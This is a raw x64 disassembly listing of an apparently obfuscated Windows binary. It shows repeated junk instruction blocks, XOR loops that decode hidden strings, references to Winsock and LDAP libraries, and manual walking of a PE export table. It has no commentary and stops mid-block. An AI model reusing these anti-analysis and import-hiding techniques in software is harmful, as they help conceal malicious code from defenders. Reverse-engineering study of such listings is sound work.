not eax
add eax, 0xacf389e9
xor eax, 0xe981baba
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xd3564f54
xor eax, 0xab1778d7
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xf5d9c879
xor eax, 0x866a0cb2
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x8b1db9c3
xor eax, 0x992ae7f6
rol eax, 0x63
popf
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
jmp 0x140459bf2
inc ebx
lea r8, [r8 + 1]
cmp ebx, 8
jl 0x140459c43
push rax
pushf
mov eax, 0x1a59e3f6
pushf
not eax
add eax, 0xeab3aeed
xor eax, 0x913b7acd
rol eax, 0x26
popf
pushf
not eax
add eax, 0xcab18e01
xor eax, 0xd036af45
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xfcbeef86
xor eax, 0xc1edd17d
rol eax, 0xdb
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xaeb2a9d1
pushf
not eax
add eax, 0x829df3b7
xor eax, 0xc62721f4
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x9cc0b1b5
xor eax, 0xbc9df827
rol eax, 0xa8
popf
jmp 0x1404576a1
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x50]
call fcn.14013c9b0
mov rbx, rax
mov edx, r13d
lea rcx, [rbp + 0x158]
call fcn.140131860
nop
mov r8, qword [rax + 0x10]
mov rcx, rbx
cmp qword [rax + 0x18], 0xf
jbe 0x140459ced
push rax
pushf
mov eax, 0x7f46ee9
pushf
not eax
add eax, 0xc09a4ac8
xor eax, 0xee854604
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x8180b586
xor eax, 0xec89bffc
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xec6246e9
xor eax, 0xa69add03
rol eax, 0x58
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xd6ec2f0e
pushf
not eax
add eax, 0xdf0fe912
xor eax, 0xcc152b46
rol eax, 0xff
popf
pushf
not eax
add eax, 0xc134bb6b
xor eax, 0x81b9d909
rol eax, 0xac
popf
pushf
not eax
add eax, 0xef3cb7fd
xor eax, 0xeec0a212
rol eax, 0x2a
popf
jmp 0x1404576a1
mov rdx, qword [rax]
jmp 0x140459dca
mov rdx, rax
push rax
pushf
mov eax, 0x9a5e445b
pushf
not eax
add eax, 0xbacb2ddd
xor eax, 0xd6a3108e
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x95292e0e
xor eax, 0xd6e50ff4
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xbd541c56
xor eax, 0xda10eb65
rol eax, 0xb4
popf
jmp 0x1404576a1
call fcn.14013dbf0
mov r9, rax
mov eax, dword [0x1403cbaa8]
mov dword [rbp + 0xe8], eax
movzx eax, byte [0x1403cbaac]
movsd xmm0, qword [str.20oHYOP__xcD]
mov byte [rbp + 0xec], al
movsd qword [rbp + 0xe0], xmm0
mov ebx, r15d
cmp r14d, 2
jl 0x140459e4e
push rax
pushf
mov eax, 0x5867e05a
pushf
not eax
add eax, 0x98b7112f
xor eax, 0xb5c6d97b
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xc918758a
xor eax, 0xfec96038
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x8897f875
xor eax, 0x9c61de17
rol eax, 0x82
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xcb2f4f1b
pushf
not eax
add eax, 0xa970a451
xor eax, 0xe6fe3946
rol eax, 0x22
popf
pushf
not eax
add eax, 0xb47056a0
xor eax, 0x93c9371b
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xf6793482
xor eax, 0x88b1e74a
rol eax, 0x46
popf
pushf
not eax
add eax, 0xa47ae282
xor eax, 0x9e0d17fd
rol eax, 0x6c
popf
jmp 0x1404576a1
movsxd rax, ebx
lea r8, [rbp + 0xe0]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop word [rax + rax]
push rax
pushf
mov eax, 0xb1be2d47
pushf
not eax
add eax, 0xec8ede53
xor eax, 0xf12eed82
rol eax, 0x57
popf
pushf
not eax
add eax, 0xce4cd966
xor eax, 0x8966ccb7
rol eax, 0xd9
popf
jmp 0x1404576a1
lea rdx, [rbp + 0xe0]
mov rcx, r9
call fcn.14013c9b0
lea rdx, [r12 + 0x20]
mov r8, qword [rdx + 0x10]
mov rcx, rax
cmp qword [rdx + 0x18], 0xf
jbe 0x14045a234
push rax
pushf
mov eax, 0x7d30adef
pushf
not eax
add eax, 0xd18876d5
xor eax, 0xc5c94069
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xde1f206c
xor eax, 0xb43b3549
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xee5ce67f
xor eax, 0xe9e99510
rol eax, 0x55
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x8114b782
pushf
not eax
add eax, 0x9e60f992
xor eax, 0xf574210b
rol eax, 0x81
popf
pushf
not eax
add eax, 0xb955ba95
xor eax, 0xf7598ebe
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xcedca980
xor eax, 0xfa5db3a7
rol eax, 0x40
popf
jmp 0x1404576a1
call fcn.14013dbf0
mov rcx, rax
mov eax, dword [0x1403cab8c]
mov dword [rbp + 0xb8], eax
movzx eax, word [0x1403cab90]
mov word [rbp + 0xbc], ax
movzx eax, byte [0x1403cab92]
mov byte [rbp + 0xb8], 0xa
xor byte [rbp + 0xb9], 0x39
xor byte [rbp + 0xba], 0x3a
xor byte [rbp + 0xbb], 0x3b
xor byte [rbp + 0xbc], 0x3c
xor byte [rbp + 0xbd], 0x3d
xor al, 0x3e
mov byte [rbp + 0xbe], al
lea rdx, [rbp + 0xb8]
call fcn.14013c9b0
mov rbx, rax
lea rcx, [rbp + 0x118]
call fcn.14041e000
nop
mov r8, qword [rax + 0x10]
mov rcx, rbx
cmp qword [rax + 0x18], 0xf
jbe 0x14045a37b
push rax
pushf
mov eax, 0x68de5731
pushf
not eax
add eax, 0xc3a071e7
xor eax, 0xdf4633a2
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xd34cd7a1
xor eax, 0xf4605017
rol eax, 0x16
popf
pushf
not eax
add eax, 0xbe50a83b
xor eax, 0xfd976c1e
rol eax, 0xfd
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x475cb023
pushf
not eax
add eax, 0x8729295f
xor eax, 0xe3efc146
rol eax, 0x15
popf
pushf
not eax
add eax, 0xf09dfab6
xor eax, 0xc1af3354
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x9eea3971
xor eax, 0xf3d119db
rol eax, 0xef
popf
pushf
not eax
add eax, 0xe604fba2
xor eax, 0x8f14b819
rol eax, 0x1b
popf
jmp 0x1404576a1
mov rdx, qword [rax]
jmp 0x14045a46b
mov rdx, rax
push rax
pushf
mov eax, 0x74d6d924
pushf
not eax
add eax, 0xf3caacae
xor eax, 0xcb45c17c
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xf4ba3dbf
xor eax, 0x9f33f5e1
rol eax, 5
popf
pushf
not eax
add eax, 0xc0c3bdf8
xor eax, 0xc4083ab5
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xdaaae361
xor eax, 0xd1ce8b86
rol eax, 0x1c
popf
jmp 0x1404576a1
call fcn.14013dbf0
mov rcx, rax
movsd xmm0, qword [str.20rluy]
movzx eax, byte [0x1403cbbd0]
movsd qword [rbp + 0xa8], xmm0
mov byte [rbp + 0xa8], 0xa
xor byte [rbp + 0xa9], 0x39
xor byte [rbp + 0xaa], 0x3a
xor byte [rbp + 0xab], 0x3b
xor byte [rbp + 0xac], 0x3c
xor byte [rbp + 0xad], 0x3d
xor byte [rbp + 0xae], 0x3e
xor byte [rbp + 0xaf], 0x3f
xor al, 0x40
mov byte [rbp + 0xb0], al
lea rdx, [rbp + 0xa8]
call fcn.14013c9b0
mov rbx, rax
lea rcx, [rbp + 0x1a0]
call fcn.1401320e0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14045a537
push rax
pushf
mov eax, 0x382abf2
pushf
not eax
add eax, 0xfca0fda4
xor eax, 0x83f93b5e
rol eax, 0x13
popf
pushf
not eax
add eax, 0xb0e87db8
xor eax, 0xeb0da9aa
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xaa246fe8
xor eax, 0x95a5ba54
rol eax, 0xe8
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x82ac1c76
pushf
not eax
add eax, 0xa5f8bc0e
xor eax, 0xeb9010a7
rol eax, 0x76
popf
pushf
not eax
add eax, 0xb7c5c0c3
xor eax, 0xb321dc49
rol eax, 0x63
popf
pushf
not eax
add eax, 0xb39971fa
xor eax, 0xee33c347
rol eax, 0x70
popf
jmp 0x1404576a1
mov rax, qword [rax]
push rax
pushf
mov eax, 0xcfae72ea
pushf
not eax
add eax, 0xd6e75bec
xor eax, 0xd6cd0df1
rol eax, 6
popf
pushf
not eax
add eax, 0x9bc4a0c3
xor eax, 0xe88d6459
rol eax, 0x66
popf
pushf
not eax
add eax, 0xefb38953
xor eax, 0xd44dbf5f
rol eax, 0x60
popf
pushf
not eax
add eax, 0x879a98b1
xor eax, 0x9d1bac72
rol eax, 0x5e
popf
jmp 0x1404576a1
mov rdx, rax
mov rcx, rbx
call fcn.14013dbf0
mov r9, rax
mov rax, qword [0x1403cb8f0]
mov qword [rbp + 0xf8], rax
cmp byte [str._KHTN], 0
je 0x14045a648
push rax
pushf
mov eax, 0x749e2fa
pushf
not eax
add eax, 0xcb97e3b7
xor eax, 0xc9eca1f2
rol eax, 0x4c
popf
pushf
not eax
add eax, 0x8afafdee
xor eax, 0xaccca117
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x9497e15d
xor eax, 0xfc426a33
rol eax, 0xbc
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x3630c859
pushf
not eax
add eax, 0xabd9ec5a
xor eax, 0x955f3966
rol eax, 0x25
popf
pushf
not eax
add eax, 0xc77a5339
xor eax, 0xa8b5065c
rol eax, 0x54
popf
jmp 0x1404576a1
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm2, xmmword [0x1403cc610]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
mov eax, dword [0x1403cc660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf8]
xorps xmm2, xmm1
movd dword [rbp + 0xf8], xmm2
movdqa xmm3, xmmword [0x1403cc620]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xfc]
xorps xmm2, xmm1
movd dword [rbp + 0xfc], xmm2
jmp 0x14045a9fa
lea r8, [rbp + 0xf8]
mov ebx, r15d
nop word [rax + rax]
push rax
pushf
mov eax, 0x93205220
pushf
not eax
add eax, 0xfff4e646
xor eax, 0xc3aa378b
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x9b50334f
xor eax, 0xff747bce
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xa6b6e7f9
xor eax, 0xc3ff553e
rol eax, 0x23
popf
pushf
not eax
add eax, 0x8dbfe765
xor eax, 0x8bddb372
rol eax, 0xe
popf
jmp 0x1404576a1
mov eax, 0xde26b3b2
pushf
not eax
add eax, 0xdffb8a23
xor eax, 0x9a9be721
rol eax, 0x74
popf
pushf
not eax
add eax, 0xd0f4d0ed
xor eax, 0xf3a3383f
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xe72c3e5b
xor eax, 0xcf46bd21
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xaa92e751
xor eax, 0xdc9cf923
rol eax, 4
popf
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
jmp 0x14045a951
inc ebx
lea r8, [r8 + 1]
cmp ebx, 8
jl 0x14045a9b4
push rax
pushf
mov eax, 0x12ef55c8
pushf
not eax
add eax, 0xc615b081
xor eax, 0x9426d17e
rol eax, 0xca
popf
pushf
not eax
add eax, 0x8fab1ca3
xor eax, 0xf177d1f6
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xcd3c346f
xor eax, 0xff922cd4
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x9d776694
xor eax, 0xcebd0f80
rol eax, 1
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xd23235b0
pushf
not eax
add eax, 0xcfa40ec3
xor eax, 0x98818317
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xb287e29b
xor eax, 0xa8fab44b
rol eax, 8
popf
pushf
not eax
add eax, 0xda10c17a
xor eax, 0xf7077920
rol eax, 0xac
popf
jmp 0x1404576a1
lea rdx, [rbp + 0xf8]
mov rcx, r9
call fcn.14013c9b0
lea rdx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0xf
cmova rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x210]
mov rcx, rax
call fcn.14013dbf0
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x14045aa70
push rax
pushf
mov eax, 0x602803db
pushf
not eax
add eax, 0xc24034b8
xor eax, 0xed4ab6c7
rol eax, 0x41
popf
pushf
not eax
add eax, 0xb4271a30
xor eax, 0x958236f8
rol eax, 0xd8
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xf5625648
pushf
not eax
add eax, 0x9ce70e0f
xor eax, 0x83ffd0f3
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xcb624392
xor eax, 0xdb53d949
rol eax, 0xca
popf
jmp 0x1404576a1
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14045aaec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14045ab7a
push rax
pushf
mov eax, 0xac6dd378
pushf
not eax
add eax, 0x9956f4ac
xor eax, 0xeee2acc3
rol eax, 0xba
popf
pushf
not eax
add eax, 0xa9f5c940
xor eax, 0xbaf35f3b
rol eax, 0x78
popf
pushf
not eax
add eax, 0xd2f5cd28
xor eax, 0x9fa2ae5e
rol eax, 0
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xff1f4591
pushf
not eax
add eax, 0xfc20c6bb
xor eax, 0xcb4a7316
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x994fd763
xor eax, 0x856d60ce
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xb54f9725
xor eax, 0xf64a9e02
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xc5e8157a
xor eax, 0xde1d3fc7
rol eax, 0x87
popf
jmp 0x1404576a1
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x14045ac7f
push rax
pushf
mov eax, 0x1a2ca32b
pushf
not eax
add eax, 0xaefcbf48
xor eax, 0xed6be036
rol eax, 0x47
popf
pushf
not eax
add eax, 0xdfde977c
xor eax, 0xa3f9f5c5
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xfcf8f633
xor eax, 0x97090baa
rol eax, 0x32
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x642fc0ee
pushf
not eax
add eax, 0x88274599
xor eax, 0xfbc26ef5
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xf26894fe
xor eax, 0x9190ea6e
rol eax, 0x1e
popf
jmp 0x1404576a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14045ade8
push rax
pushf
mov eax, 0x9be6603e
pushf
not eax
add eax, 0x85f834df
xor eax, 0xdf4aa184
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xad7b4f21
xor eax, 0xee561428
rol eax, 0xf
popf
pushf
not eax
add eax, 0xfdf9cf93
xor eax, 0xd4fffd9f
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x8b52f1bf
xor eax, 0xf14fa4fc
rol eax, 0xda
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x2084c4d5
pushf
not eax
add eax, 0xaf50cff3
xor eax, 0xe9dcb604
rol eax, 0x43
popf
pushf
not eax
add eax, 0xcb03aa66
xor eax, 0x927dc9fa
rol eax, 0x9b
popf
jmp 0x1404576a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0x917aa2c8
pushf
not eax
add eax, 0xad442a9c
xor eax, 0xcb14d951
rol eax, 0x91
popf
pushf
not eax
add eax, 0xb8234210
xor eax, 0xfb59a055
rol eax, 0x30
popf
jmp 0x1404576a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14045b02a
push rax
pushf
mov eax, 0x5053e48d
pushf
not eax
add eax, 0xda21eef5
xor eax, 0xd09af05c
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xef6f484c
xor eax, 0x9a31a575
rol eax, 0xf6
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x3b32e19f
pushf
not eax
add eax, 0xf595e940
xor eax, 0x8e00498a
rol eax, 0x76
popf
pushf
not eax
add eax, 0xa9d6bc63
xor eax, 0xec8b5d0f
rol eax, 0xde
popf
pushf
not eax
add eax, 0x8ddfc685
xor eax, 0xdd5dd763
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xae449b9e
xor eax, 0xf9e2bcb1
rol eax, 0xdc
popf
jmp 0x1404576a1
call fcn.140432633
push rax
pushf
mov eax, 0x50e9b87f
pushf
not eax
add eax, 0xa6f6ddba
xor eax, 0xf84d09d7
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xbd66dccc
xor eax, 0x92a2a944
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x938d8fb3
xor eax, 0xad031e95
rol eax, 0xf9
popf
jmp 0x1404576a1
lea eax, [r13 - 3]
cmp eax, 1
ja 0x14045b195
push rax
pushf
mov eax, 0xcd1a40a0
pushf
not eax
add eax, 0xca4998c5
xor eax, 0x891c3730
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xbef653ce
xor eax, 0xcb143dc5
rol eax, 0x85
popf
pushf
not eax
add eax, 0xc25da915
xor eax, 0xedd4e997
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xd86eebdb
xor eax, 0xd16d94c2
rol eax, 0xb8
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x752cbc1
pushf
not eax
add eax, 0x8ad60832
xor eax, 0xc6eff8dd
rol eax, 0x29
popf
pushf
not eax
add eax, 0x8c3a7d63
xor eax, 0xe9aa2e5f
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xae044985
xor eax, 0xc43ce9a1
rol eax, 0xca
popf
pushf
not eax
add eax, 0xd6c989a7
xor eax, 0xe514ae17
rol eax, 0xf2
popf
jmp 0x1404576a1
mov ebx, r15d
cmp r14d, 2
jl 0x14045b2f6
push rax
pushf
mov eax, 0x87a3fd3d
pushf
not eax
add eax, 0xdf7f31a6
xor eax, 0xcb04a43a
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xd01094dc
xor eax, 0xb2d2f511
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x90285644
xor eax, 0xc480647f
rol eax, 0xe6
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x111038b
pushf
not eax
add eax, 0xfb407990
xor eax, 0x986dddfc
rol eax, 0x34
popf
pushf
not eax
add eax, 0x95f3a59a
xor eax, 0xd66d805b
rol eax, 0x3e
popf
jmp 0x1404576a1
movsxd rax, ebx
lea r8, [rbp + 0xd0]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop word [rax + rax]
push rax
pushf
mov eax, 0x4b8ab073
pushf
not eax
add eax, 0x85268c59
xor eax, 0xabce7869
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xe5ee2f6a
xor eax, 0xbbd887c5
rol eax, 0x37
popf
pushf
not eax
add eax, 0xd534984e
xor eax, 0xd11756c2
rol eax, 0x83
popf
jmp 0x1404576a1
mov eax, 0xf5581994
pushf
not eax
add eax, 0xa74ad50a
xor eax, 0x8ef956e7
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xe1e2dde5
xor eax, 0x88a6a610
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xb64092b7
xor eax, 0xf9489b25
rol eax, 0xba
popf
pushf
not eax
add eax, 0x9c060c99
xor eax, 0xefe0ce93
rol eax, 0xd6
popf
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
jmp 0x14045b57a
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xc
jl 0x14045b5de
push rax
pushf
mov eax, 0x3006aac4
pushf
not eax
add eax, 0xeb7529ec
xor eax, 0x998ebd75
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x9000565c
xor eax, 0x8828c0d7
rol eax, 0x55
popf
pushf
not eax
add eax, 0x88099b44
xor eax, 0xf2efa6ad
rol eax, 0x60
popf
pushf
not eax
add eax, 0xabd46e01
xor eax, 0xc634fa94
rol eax, 0xf7
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xd29d432e
pushf
not eax
add eax, 0xa55e3989
xor eax, 0xbc894786
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xf213997e
xor eax, 0xa861b4cf
rol eax, 0x1b
popf
jmp 0x1404576a1
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x50]
call fcn.14013c9b0
lea rdx, [r12 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14045b677
push rax
pushf
mov eax, 0x6b6724c8
pushf
not eax
add eax, 0xe16a0bf7
xor eax, 0xbfc61f9e
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xd4f9f828
xor eax, 0xaf724386
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xec817b21
xor eax, 0xd51aaf34
rol eax, 0x71
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x97910a96
pushf
not eax
add eax, 0xf87a89b7
xor eax, 0xa831835f
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xb728fc97
xor eax, 0xac4598a5
rol eax, 0x4a
popf
jmp 0x1404576a1
mov eax, dword [str.XYZ1_]
mov dword [rbp + 0xc0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0xc0], 0x60
xor byte [rbp + 0xc1], 0x39
xor byte [rbp + 0xc2], 0x3a
xor byte [rbp + 0xc3], 0x3b
xor al, 0x3c
mov byte [rbp + 0xc4], al
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x50]
call fcn.14013c9b0
jmp 0x14045b789
call qword [fcn.1402caec0]
mov r15, rax
test rax, rax
je 0x14045b7e1
push rax
pushf
mov eax, 0xe1730a50
pushf
not eax
add eax, 0x93a5eae5
xor eax, 0xf21acb3c
rol eax, 0xad
popf
pushf
not eax
add eax, 0xcf3d3d28
xor eax, 0xeeefda78
rol eax, 0x75
popf
pushf
not eax
add eax, 0x9cee34fc
xor eax, 0xb4994ffe
rol eax, 0x2c
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xb4565ae
pushf
not eax
add eax, 0xce05875a
xor eax, 0xb70a620b
rol eax, 0xce
popf
pushf
not eax
add eax, 0xb95cdc3a
xor eax, 0xe6cef0b1
rol eax, 0x95
popf
pushf
not eax
add eax, 0x85b1e497
xor eax, 0xc6d80d4c
rol eax, 0x87
popf
jmp 0x1404576a1
movups xmm0, xmmword [0x1403cb4e0]
movups xmmword [rbp + 0xe0], xmm0
mov eax, dword [0x1403cb4f0]
mov dword [rbp + 0xf0], eax
movzx eax, byte [0x1403cb4f4]
mov byte [rbp + 0xf4], al
xor esi, esi
mov ebx, esi
cmp r14d, 2
jl 0x14045b8a2
push rax
pushf
mov eax, 0x5a6c6ef0
pushf
not eax
add eax, 0xace0c32f
xor eax, 0xfbf8be88
rol eax, 0x83
popf
pushf
not eax
add eax, 0xaf4ca365
xor eax, 0xd02c5343
rol eax, 0x78
popf
pushf
not eax
add eax, 0xecab6adf
xor eax, 0xaff8a1c1
rol eax, 0xa6
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x3b0bb2d5
pushf
not eax
add eax, 0xca0e9ac5
xor eax, 0xf92c3d01
rol eax, 0x79
popf
pushf
not eax
add eax, 0xf1c26664
xor eax, 0x94d60885
rol eax, 0x61
popf
jmp 0x1404576a1
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], rsi
mov qword [rbp + 0x150], rsi
lea rax, [rbp + 0xe0]
mov r8, rdi
nop dword [rax]
push rax
pushf
mov eax, 0x6a31bdc5
pushf
not eax
add eax, 0xf2e72c04
xor eax, 0xdbb4d4a2
rol eax, 0x64
popf
pushf
not eax
add eax, 0xd857c01d
xor eax, 0xa83c13f7
rol eax, 0x5c
popf
jmp 0x1404576a1
mov ebx, esi
cmp r14d, 2
jl 0x14045bf01
push rax
pushf
mov eax, 0xea6d1d5
pushf
not eax
add eax, 0xdada388b
xor eax, 0xa834babe
rol eax, 0x93
popf
pushf
not eax
add eax, 0xe15ec724
xor eax, 0xfa0bb21d
rol eax, 0x60
popf
pushf
not eax
add eax, 0xc8ee9bc4
xor eax, 0xcded26cb
rol eax, 0x33
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x6228f04
pushf
not eax
add eax, 0xfcbd6672
xor eax, 0xd1803a2b
rol eax, 0x16
popf
pushf
not eax
add eax, 0xdc27b0dc
xor eax, 0x8a9dea9c
rol eax, 0xff
popf
jmp 0x1404576a1
mov eax, 0x84a26625
pushf
not eax
add eax, 0xc327a308
xor eax, 0xb3037ff9
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xfd632de8
xor eax, 0xdef0a5bc
rol eax, 0x46
popf
pushf
not eax
add eax, 0xbc9c1aec
xor eax, 0xac0cfacd
rol eax, 0x68
popf
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
jmp 0x14045c18b
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xe
jl 0x14045c1ef
push rax
pushf
mov eax, 0xb1b70d97
pushf
not eax
add eax, 0xbf0483eb
xor eax, 0x95d23820
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x994e6232
xor eax, 0xf9fa3c94
rol eax, 0x72
popf
pushf
not eax
add eax, 0x87e194e3
xor eax, 0x84f6ea93
rol eax, 6
popf
pushf
not eax
add eax, 0xcc02e563
xor eax, 0xa01de2e8
rol eax, 0xca
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x897243b3
pushf
not eax
add eax, 0xeb78e91b
xor eax, 0xcfef2dfc
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xa27bd726
xor eax, 0x8ffbd7d6
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x91b2d81a
xor eax, 0x9d19d216
rol eax, 0x97
popf
jmp 0x1404576a1
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], rsi
mov qword [rbp + 0x190], rsi
lea rax, [rbp + 0xf8]
mov r8, rdi
nop dword [rax]
push rax
pushf
mov eax, 0x7cb8e69
pushf
not eax
add eax, 0xd00413ab
xor eax, 0xe9854f89
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x9415de56
xor eax, 0xb47cb11f
rol eax, 0x18
popf
pushf
not eax
add eax, 0xdcabc6f1
xor eax, 0xcece49f1
rol eax, 0x91
popf
jmp 0x1404576a1
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
push r9
not r9
sub r11, r9
pop r9
sub r11, 1
cmp r11, r9
je 0x14045c409
push rax
pushf
mov eax, 0x24c3f536
pushf
not eax
add eax, 0xbfe84130
xor eax, 0xabbba38e
rol eax, 0x56
